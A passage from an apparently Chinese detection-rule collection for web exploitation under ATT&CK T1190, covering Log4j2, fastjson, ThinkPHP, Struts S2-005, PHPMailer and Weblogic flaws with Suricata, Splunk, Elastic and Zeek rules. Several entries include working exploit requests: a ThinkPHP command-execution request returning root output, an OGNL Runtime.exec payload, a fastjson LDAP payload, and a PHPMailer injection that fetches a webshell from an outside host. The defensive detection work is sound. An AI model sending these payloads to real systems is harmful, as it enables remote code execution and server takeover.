检测规则/思路\n### Suricata规则\n```\ns\nalert http any any -> any any (msg:\"深信服VPN任意密码重置\";flow:established,to_server;content:\"POST\";http_method;content:\"/por/changepwd.csp\";http_uri;content:\"sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN\";http_client_body;reference:url,www.hacking8.com;classtype:web-application-attck;sid:3002012;rev:1;)\n```\n### 建议\n流量+安全设备比较容易检测到此攻击行为。\n## 参考推荐\nMITRE-ATT&CK-T1133-001\n<https://attack.mitre.org/techniques/T1133/001>\n"
  },
  {
    "path": "Web/long time/T1190- Apache Log4j2漏洞利用检测.md",
    "content": "# T1190- Apache Log4j2漏洞利用检测\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## Apache Log4j2漏洞\n2021年12月，Apache开源组件Log4j（Apache Log4j2是一款优秀的Java日志框架。）被发现两个相关漏洞，分别为任意代码执行漏洞和拒绝服务攻击漏洞，攻击者可以通过构造特殊的请求进行任意代码执行，以达到控制服务器的目的，或者通过构造特殊的请求进行DoS攻击，以达到影响服务器正常运行的目的，影响面十分广泛。\n影响范围：Apache Log4j 2.x < 2.15.0-rc2\n## 测试案例\n网络上已经公开的利用方法比较多，这里不再添加相关案例信息，可自行查找。\n## 检测日志\nHTTP流量\n## 测试复现\n无\n## 测试留痕\nHTTP流量检测规则基于payload关键词进行检测\n## 检测规则/思路\n### Splunk检测规则\n```\nyml\n((cs-User-Agent=\"*$${jndi:ldap:/*\" OR cs-User-Agent=\"*$${jndi:rmi:/*\" OR cs-User-Agent=\"*$${jndi:ldaps:/*\" OR cs-User-Agent=\"*$${jndi:dns:/*\" OR cs-User-Agent=\"*/$$%7bjndi:*\" OR cs-User-Agent=\"*%24%7bjndi:*\" OR cs-User-Agent=\"*$$%7Bjndi:*\" OR cs-User-Agent=\"*%2524%257Bjndi*\" OR cs-User-Agent=\"*%2F%252524%25257Bjndi%3A*\" OR cs-User-Agent=\"*$${jndi:$${lower:*\" OR cs-User-Agent=\"*$${::-j}$${*\" OR cs-User-Agent=\"*$${jndi:nis*\" OR cs-User-Agent=\"*$${jndi:nds*\" OR cs-User-Agent=\"*$${jndi:corba*\" OR cs-User-Agent=\"*$${jndi:iiop*\" OR cs-User-Agent=\"*$${$${env:BARFOO:-j}*\" OR cs-User-Agent=\"*$${::-l}$${::-d}$${::-a}$${::-p}*\" OR cs-User-Agent=\"*$${base64:JHtqbmRp*\") (user-agent=\"*$${jndi:ldap:/*\" OR user-agent=\"*$${jndi:rmi:/*\" OR user-agent=\"*$${jndi:ldaps:/*\" OR user-agent=\"*$${jndi:dns:/*\" OR user-agent=\"*/$$%7bjndi:*\" OR user-agent=\"*%24%7bjndi:*\" OR user-agent=\"*$$%7Bjndi:*\" OR user-agent=\"*%2524%257Bjndi*\" OR user-agent=\"*%2F%252524%25257Bjndi%3A*\" OR user-agent=\"*$${jndi:$${lower:*\" OR user-agent=\"*$${::-j}$${*\" OR user-agent=\"*$${jndi:nis*\" OR user-agent=\"*$${jndi:nds*\" OR user-agent=\"*$${jndi:corba*\" OR user-agent=\"*$${jndi:iiop*\" OR user-agent=\"*$${$${env:BARFOO:-j}*\" OR user-agent=\"*$${::-l}$${::-d}$${::-a}$${::-p}*\" OR user-agent=\"*$${base64:JHtqbmRp*\") (cs-uri=\"*$${jndi:ldap:/*\" OR cs-uri=\"*$${jndi:rmi:/*\" OR cs-uri=\"*$${jndi:ldaps:/*\" OR cs-uri=\"*$${jndi:dns:/*\" OR cs-uri=\"*/$$%7bjndi:*\" OR cs-uri=\"*%24%7bjndi:*\" OR cs-uri=\"*$$%7Bjndi:*\" OR cs-uri=\"*%2524%257Bjndi*\" OR cs-uri=\"*%2F%252524%25257Bjndi%3A*\" OR cs-uri=\"*$${jndi:$${lower:*\" OR cs-uri=\"*$${::-j}$${*\" OR cs-uri=\"*$${jndi:nis*\" OR cs-uri=\"*$${jndi:nds*\" OR cs-uri=\"*$${jndi:corba*\" OR cs-uri=\"*$${jndi:iiop*\" OR cs-uri=\"*$${$${env:BARFOO:-j}*\" OR cs-uri=\"*$${::-l}$${::-d}$${::-a}$${::-p}*\" OR cs-uri=\"*$${base64:JHtqbmRp*\") (cs-referrer=\"*$${jndi:ldap:/*\" OR cs-referrer=\"*$${jndi:rmi:/*\" OR cs-referrer=\"*$${jndi:ldaps:/*\" OR cs-referrer=\"*$${jndi:dns:/*\" OR cs-referrer=\"*/$$%7bjndi:*\" OR cs-referrer=\"*%24%7bjndi:*\" OR cs-referrer=\"*$$%7Bjndi:*\" OR cs-referrer=\"*%2524%257Bjndi*\" OR cs-referrer=\"*%2F%252524%25257Bjndi%3A*\" OR cs-referrer=\"*$${jndi:$${lower:*\" OR cs-referrer=\"*$${::-j}$${*\" OR cs-referrer=\"*$${jndi:nis*\" OR cs-referrer=\"*$${jndi:nds*\" OR cs-referrer=\"*$${jndi:corba*\" OR cs-referrer=\"*$${jndi:iiop*\" OR cs-referrer=\"*$${$${env:BARFOO:-j}*\" OR cs-referrer=\"*$${::-l}$${::-d}$${::-a}$${::-p}*\" OR cs-referrer=\"*$${base64:JHtqbmRp*\"))\n```\n### Elastic search检测规则\n```\nyml\n(cs-User-Agent:(*$\\{jndi\\:ldap\\:\\/* OR *$\\{jndi\\:rmi\\:\\/* OR *$\\{jndi\\:ldaps\\:\\/* OR *$\\{jndi\\:dns\\:\\/* OR *\\/$%7bjndi\\:* OR *%24%7bjndi\\:* OR *$%7Bjndi\\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\\{jndi\\:$\\{lower\\:* OR *$\\{\\:\\:\\-j\\}$\\{* OR *$\\{jndi\\:nis* OR *$\\{jndi\\:nds* OR *$\\{jndi\\:corba* OR *$\\{jndi\\:iiop* OR *$\\{$\\{env\\:BARFOO\\:\\-j\\}* OR *$\\{\\:\\:\\-l\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-a\\}$\\{\\:\\:\\-p\\}* OR *$\\{base64\\:JHtqbmRp*) AND user_agent.original:(*$\\{jndi\\:ldap\\:\\/* OR *$\\{jndi\\:rmi\\:\\/* OR *$\\{jndi\\:ldaps\\:\\/* OR *$\\{jndi\\:dns\\:\\/* OR *\\/$%7bjndi\\:* OR *%24%7bjndi\\:* OR *$%7Bjndi\\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\\{jndi\\:$\\{lower\\:* OR *$\\{\\:\\:\\-j\\}$\\{* OR *$\\{jndi\\:nis* OR *$\\{jndi\\:nds* OR *$\\{jndi\\:corba* OR *$\\{jndi\\:iiop* OR *$\\{$\\{env\\:BARFOO\\:\\-j\\}* OR *$\\{\\:\\:\\-l\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-a\\}$\\{\\:\\:\\-p\\}* OR *$\\{base64\\:JHtqbmRp*) AND cs-uri:(*$\\{jndi\\:ldap\\:\\/* OR *$\\{jndi\\:rmi\\:\\/* OR *$\\{jndi\\:ldaps\\:\\/* OR *$\\{jndi\\:dns\\:\\/* OR *\\/$%7bjndi\\:* OR *%24%7bjndi\\:* OR *$%7Bjndi\\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\\{jndi\\:$\\{lower\\:* OR *$\\{\\:\\:\\-j\\}$\\{* OR *$\\{jndi\\:nis* OR *$\\{jndi\\:nds* OR *$\\{jndi\\:corba* OR *$\\{jndi\\:iiop* OR *$\\{$\\{env\\:BARFOO\\:\\-j\\}* OR *$\\{\\:\\:\\-l\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-a\\}$\\{\\:\\:\\-p\\}* OR *$\\{base64\\:JHtqbmRp*) AND http.request.referrer:(*$\\{jndi\\:ldap\\:\\/* OR *$\\{jndi\\:rmi\\:\\/* OR *$\\{jndi\\:ldaps\\:\\/* OR *$\\{jndi\\:dns\\:\\/* OR *\\/$%7bjndi\\:* OR *%24%7bjndi\\:* OR *$%7Bjndi\\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\\{jndi\\:$\\{lower\\:* OR *$\\{\\:\\:\\-j\\}$\\{* OR *$\\{jndi\\:nis* OR *$\\{jndi\\:nds* OR *$\\{jndi\\:corba* OR *$\\{jndi\\:iiop* OR *$\\{$\\{env\\:BARFOO\\:\\-j\\}* OR *$\\{\\:\\:\\-l\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-a\\}$\\{\\:\\:\\-p\\}* OR *$\\{base64\\:JHtqbmRp*))\n```\n### Zeek检测规则\n```\nyml\n(event.dataset:\"zeek.http\" AND cs-User-Agent:(*$\\{jndi\\:ldap\\:\\/* OR *$\\{jndi\\:rmi\\:\\/* OR *$\\{jndi\\:ldaps\\:\\/* OR *$\\{jndi\\:dns\\:\\/* OR *\\/$%7bjndi\\:* OR *%24%7bjndi\\:* OR *$%7Bjndi\\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\\{jndi\\:$\\{lower\\:* OR *$\\{\\:\\:\\-j\\}$\\{* OR *$\\{jndi\\:nis* OR *$\\{jndi\\:nds* OR *$\\{jndi\\:corba* OR *$\\{jndi\\:iiop* OR *$\\{$\\{env\\:BARFOO\\:\\-j\\}* OR *$\\{\\:\\:\\-l\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-a\\}$\\{\\:\\:\\-p\\}* OR *$\\{base64\\:JHtqbmRp*) AND user_agent.original:(*$\\{jndi\\:ldap\\:\\/* OR *$\\{jndi\\:rmi\\:\\/* OR *$\\{jndi\\:ldaps\\:\\/* OR *$\\{jndi\\:dns\\:\\/* OR *\\/$%7bjndi\\:* OR *%24%7bjndi\\:* OR *$%7Bjndi\\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\\{jndi\\:$\\{lower\\:* OR *$\\{\\:\\:\\-j\\}$\\{* OR *$\\{jndi\\:nis* OR *$\\{jndi\\:nds* OR *$\\{jndi\\:corba* OR *$\\{jndi\\:iiop* OR *$\\{$\\{env\\:BARFOO\\:\\-j\\}* OR *$\\{\\:\\:\\-l\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-a\\}$\\{\\:\\:\\-p\\}* OR *$\\{base64\\:JHtqbmRp*) AND url.original:(*$\\{jndi\\:ldap\\:\\/* OR *$\\{jndi\\:rmi\\:\\/* OR *$\\{jndi\\:ldaps\\:\\/* OR *$\\{jndi\\:dns\\:\\/* OR *\\/$%7bjndi\\:* OR *%24%7bjndi\\:* OR *$%7Bjndi\\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\\{jndi\\:$\\{lower\\:* OR *$\\{\\:\\:\\-j\\}$\\{* OR *$\\{jndi\\:nis* OR *$\\{jndi\\:nds* OR *$\\{jndi\\:corba* OR *$\\{jndi\\:iiop* OR *$\\{$\\{env\\:BARFOO\\:\\-j\\}* OR *$\\{\\:\\:\\-l\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-a\\}$\\{\\:\\:\\-p\\}* OR *$\\{base64\\:JHtqbmRp*) AND http.request.referrer:(*$\\{jndi\\:ldap\\:\\/* OR *$\\{jndi\\:rmi\\:\\/* OR *$\\{jndi\\:ldaps\\:\\/* OR *$\\{jndi\\:dns\\:\\/* OR *\\/$%7bjndi\\:* OR *%24%7bjndi\\:* OR *$%7Bjndi\\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\\{jndi\\:$\\{lower\\:* OR *$\\{\\:\\:\\-j\\}$\\{* OR *$\\{jndi\\:nis* OR *$\\{jndi\\:nds* OR *$\\{jndi\\:corba* OR *$\\{jndi\\:iiop* OR *$\\{$\\{env\\:BARFOO\\:\\-j\\}* OR *$\\{\\:\\:\\-l\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-a\\}$\\{\\:\\:\\-p\\}* OR *$\\{base64\\:JHtqbmRp*))\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nApache Log4j2漏洞利用检测\n<https://www.socinvestigation.com/apache-log4j-vulnerability-detection-and-mitigation/>\nLog4j漏洞分析\n<https://blog.csdn.net/a1290320893/article/details/121914678>\n"
  },
  {
    "path": "Web/long time/T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行.md",
    "content": "# T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nfastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。详细的原理分析:<https://www.freebuf.com/vuls/208339.html>\n影响版本：Fastjson1.2.24以及之前的所有版本\n## 检测日志\nHTTP\n## 测试复现\n具体测试过程请参考：<https://jishuin.proginn.com/p/763bfbd290cf>\n```\nyml\nPOST / HTTP/1.1\nHost: 172.17.41.103:27760\nAccept: */*\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\nContent-Type: application/json;charset=UTF-8\nContent-Length: 163\n{\n    \"b\":{\n        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n        \"dataSourceName\":\"ldap://172.17.42.24:9999/TouchFile\",\n        \"autoCommit\":true\n    }\n}\n```\n## 检测规则/思路\n### Suricata规则\n```\ns\nalert http any any -> any any (msg:\"CNVD-2017-02833-fastjson1.2.24远程代码执行漏洞\";flow:established,to_server;content:\"POST\";http_method;content:\"com.sun.rowset.JdbcRowSetImpl\";http_client_body;reference:url,jishuin.proginn.com/p/763bfbd290cf;classtype:web-application-attck;sid:3002021;rev:1;)\n```\n### 建议\n流量+安全设备比较容易检测到此攻击行为。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nFastjson‐CNVD‐2017‐02833\n<https://jishuin.proginn.com/p/763bfbd290cf>\nFastjson＜1.2.24远程代码执行（CNVD-2017-02833）\n<https://blog.csdn.net/weixin_43071873/article/details/109368166>\nFastjson系列漏洞实战和总结\n<https://blog.csdn.net/qq_41832837/article/details/109038795>\n"
  },
  {
    "path": "Web/long time/T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞.md",
    "content": "# T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nThinkPHP 5.0.全版本，经过其他安全人员实际测试，并非针对5.0全版本\n实际影响范围：\n```\nyml\n版本名  是否可被攻击  攻击条件\n5.0.0  否          无\n5.0.1  否          无\n5.0.2  否          无\n5.0.3  否          无\n5.0.4  否          无\n5.0.5  否          无\n5.0.6  否          无\n5.0.7  否          无\n5.0.8  是          无需开启debug\n5.0.9  是          无需开启debug\n5.0.10  是          无需开启debug\n5.0.11  是          无需开启debug\n5.0.12  是          无需开启debug\n5.0.13  是          需开启debug\n5.0.14  是          需开启debug\n5.0.15  是          需开启debug\n5.0.16  是          需开启debug\n5.0.17  是          需开启debug\n5.0.18  是          需开启debug\n5.0.19  是          需开启debug\n5.0.20  否          无\n5.0.21  是          需开启debug\n5.0.22  是          需开启debug\n5.0.23  是          需开启debug\n```\n## 检测日志\nHTTP\n## 测试复现\n更多POC请参考：<https://blog.csdn.net/weixin_40709439/article/details/86564457>\n```\nyml\nGET /index.php/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id HTTP/1.1\nHost: 172.17.41.103:33349\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\nHTTP/1.1 200 OK\nHost: 172.17.41.103:33349\nDate: Mon, 10 Aug 2020 16:44:19 +0800\nConnection: close\nX-Powered-By: PHP/7.2.12\nContent-type: text/html; charset=UTF-8\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n## 检测规则/思路\n### Suricata规则\n```\ns\nalert http any any -> any any (msg:\"CNVD-2018-24942-thinkphp5.x任意代码执行漏洞\";flow:established,to_server;content:\"GET\";http_method;content:\"/index.php/?s=index/\";pcre:\"/call_user_func_array/\";http_uri;reference:url,blog.csdn.net/weixin_40709439/article/details/86564457;classtype:web-application-attck;sid:3002021;rev:1;)\n```\n### 建议\n流量+安全设备比较容易检测到此攻击行为。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nthinkphp5.0和5.1 rce poc总结\n<https://blog.csdn.net/weixin_40709439/article/details/86564457>\n"
  },
  {
    "path": "Web/long time/T1190-CVE-2010-1870-S2-005远程代码执行.md",
    "content": "# T1190-CVE-2010-1870-S2-005远程代码执行\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nS2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号，S2-003对#号进行过滤，但是没有考虑到unicode编码情况，导致\\u0023或者8进制\\43绕过。S2-005则是绕过官方的安全配置（禁止静态方法调用和类方法执行），再次造成漏洞。\n影响版本：2.0.0 - 2.1.8.1\n## 检测日志\nHTTP\n## 测试复现\nBurp抓包，修改参数\n```\nyml\n?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1\n```\n## 测试留痕\n```\nyml\nGET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/yun%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1\nHost: 192.168.60.131:8080\nPragma: no-cache\nCache-Control: no-cache\nDNT: 1\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://192.168.60.131:8080/\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nCookie: pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%22wtmbqwF8evsRAFy6MdC8Og%3D%3D%22%2C%22mac%22%3A%22f9971a0e2275abe89b4ef530bd3450014d701d5d%22%2C%22payload%22%3A%22O%5C%2FIN3WNFI3c21DrYtH7Pug%3D%3D%22%7D; PHPSESSID=57bf9020b21df668496392730ae25830; JSESSIONID=A399DB5AC14D038F86DAD2623E09D1E7\nConnection: close\nHTTP/1.1 200\nContent-Type: text/html;charset=UTF-8\nContent-Length: 416\nDate: Thu, 22 Oct 2020 01:33:35 GMT\nConnection: close-----------------\n<html>\n<head>\n    <title>Struts is up and running ...</title>\n</head>\n<body>\n<h2>Struts is up and running ...</h2>\n<h3>Languages</h3>\n<ul>\n    <li>\n- ---\n        <a href=\"/example/HelloWorld.action?request_locale=en\">English</a>\n    </li>\n    <li>\n- ---\n        <a href=\"/example/HelloWorld.action?request_locale=es\">Espanol</a>\n    </li>\n</ul>\n</body>\n</html>\n```\n## 检测规则/思路\n### Suricata规则\n```\ns\nalert http any any -> any any (msg:\"CVE-2010-1870-S2-005\";flow:established,to_server;content:\"GET\";http_method;content:\"/example/HelloWorld.action\";pcre:\"/allowStaticMethodAccess/\";pcre:\"/xwork.MethodAccessor.denyMethodExecution/\";http_uri;reference:url,blog.csdn.net/weixin_43416469/article/details/113849099;classtype:web-application-attck;sid:3002021;rev:1;)\n```\n### 建议\n流量+安全设备比较容易检测到此攻击行为。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nStruts2_005_RCE CVE-2010-1870漏洞复现\n<https://blog.csdn.net/weixin_43416469/article/details/113849099>\nApache Struts2远程代码执行漏洞检测与利用S2-005（CVE-2010-1870）\n<https://idc.wanyunshuju.com/aqld/1920.html>\n"
  },
  {
    "path": "Web/long time/T1190-CVE-2016-10033-PHPMailer<5.2.18远程代码执行.md",
    "content": "# T1190-CVE-2016-10033-PHPMailer<5.2.18远程代码执行\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nWordPress 是一种使用 PHP 语言开发的博客平台，用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统（CMS）来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，造成远程命令执行的危害。\n影响版本：WordPress <= 4.7.1 PHPMailer < 5.2.18\n## 检测日志\nHTTP\n## 测试复现\n具体测试过程请参考：<https://cloud.tencent.com/developer/article/1043654>\n```\nyml\nPOST /wp-login.php?action=lostpassword HTTP/1.1\nHost: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}www.mzxh.xyz${substr{0}{1}{$spool_directory}}tools${substr{0}{1}{$spool_directory}}shell.php}} null)\nContent-Length: 56\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://172.17.41.103:44397\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://172.17.41.103:44397/wp-login.php?action=lostpassword\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nCookie: wordpress_test_cookie=WP+Cookie+check\nConnection: close\nuser_login=admin&redirect_to=&wp-submit=Get+New+Password\nHTTP/1.1 302 Found\nDate: Wed, 05 Aug 2020 07:59:44 GMT\nServer: Apache/2.4.7 (Ubuntu)\nX-Powered-By: PHP/5.5.9-1ubuntu4.21\nExpires: Wed, 11 Jan 1984 05:00:00 GMT\nCache-Control: no-cache, must-revalidate, max-age=0\nSet-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/\nX-Frame-Options: SAMEORIGIN\nLocation: wp-login.php?checkemail=confirm\nContent-Length: 0\nConnection: close\nContent-Type: text/html; charset=UTF-8\n```\n## 检测规则/思路\n### Suricata规则\n```\ns\nalert http any any -> any any (msg:\"CVE-2016-10033-rqs\";flow:established,to_server;content:\"POST\";http_method;content:\"/wp-login.php?action=lostpassword\";http_uri;content:\"Get+New+Password\";http_client_body;flowbits: set, first_get_rqs; noalert;reference:url,cloud.tencent.com/developer/article/1043654;classtype:web-application-attck;sid:1;rev:1;)\nalert http any any -> any any (msg:\"CVE-2016-10033-PHPMailer<5.2.18远程代码执行漏洞\";flow:established;content:\"302\";http_stat_code;flowbits:isset,first_get_rqs;reference:url,cloud.tencent.com/developer/article/1043654;classtype:web-application-attck;sid:2;rev:1;)\n```\n### 建议\n流量+安全设备比较容易检测到此攻击行为。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nWordPress 4.6远程代码执行漏洞（CVE-2016-10033）复现环境搭建指南\n<https://cloud.tencent.com/developer/article/1043654>\nWordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)复现分析\n<http://www.52bug.cn/hkjs/5133.html>\n"
  },
  {
    "path": "Web/long time/T1190-CVE-2018-2894-Weblogic任意文件上传检测.md",
    "content": "# T1190-CVE-2018-2894-Weblogic任意文件上传检测\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nWeblogic管理端未授权的两个页面存在任意上传jsp文件漏洞，进而获取服务器权限。\nOracle 7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在 ‘生产模式’ 下默认不开启，所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do。\n漏洞影响范围：\nweblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。\n## 检测日志\nHTTP.log\n## 测试复现\n漏洞利用建议参考：\nWeblogic任意文件上传漏洞（CVE-2018-2894）复现\n<https://blog.csdn.net/weixin_43625577/article/details/97001677>\n## 测试留痕\n暂无实测，故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。\n## 检测规则/思路\n### Sigma规则\n建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。\n```\nyml\ntitle: Oracle WebLogic漏洞利用Z\ndescription: 检测对放入WebLogic服务器上密钥库文件夹中的webshell的访问\nauthor: Florian Roth\ntranslator: 12306Bro\ndate: 